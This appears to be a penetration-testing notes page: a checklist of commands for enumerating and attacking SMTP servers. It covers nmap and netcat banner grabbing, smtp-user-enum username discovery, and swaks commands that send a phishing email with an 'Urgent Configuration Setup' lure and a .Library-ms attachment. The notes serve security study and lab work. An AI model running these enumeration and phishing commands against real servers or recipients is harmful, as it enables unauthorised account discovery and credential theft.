> For the complete documentation index, see [llms.txt](https://michel-disbergen.gitbook.io/hack-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://michel-disbergen.gitbook.io/hack-notes/services/25-465-587-smtp.md).

# 25, 465, 587 - SMTP

* [ ] **1. general checks SMTP**

```bash
##### REFERENCE: https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html?highlight=pentesting%20smtp#hacktricks-automatic-commands
# 1. nmap scan & banner grabbing
nmap -sC -sV -p 25 {{RHOST}} --script=smtp*
nc -vn {{RHOST}} 25

# 2. enumerate users using 'smtp-user-enum' 
# --- USE NAMES FROM WEBSITE IF POSSIBLE --- #
smtp-user-enum -M VRFY -U /usr/share/wordlists/seclists/Usernames/Names/names.txt -t {{RHOST}}
smtp-user-enum -M RCPT -U /usr/share/wordlists/seclists/Usernames/Names/names.txt -t {{RHOST}}
```

* [ ] **2. interacting with SMTP**

```bash
# 1. Use swaks to deliver an email with an attachment
swaks --to RECIEVER@example.com --from SENDER@example.com --attach @config.Library-ms --server {{RHOST}} --body "Please checkout this document" --header "Subject: Urgent Configuration Setup"

# 2. Use swaks to deliver an email with an attachment and authentication
swaks --to RECIEVER@example.com --from SENDER@example.com -ap --attach @config.Library-ms --server {{RHOST}} --body "Please checkout this document" --header "Subject: Urgent Configuration Setup"
```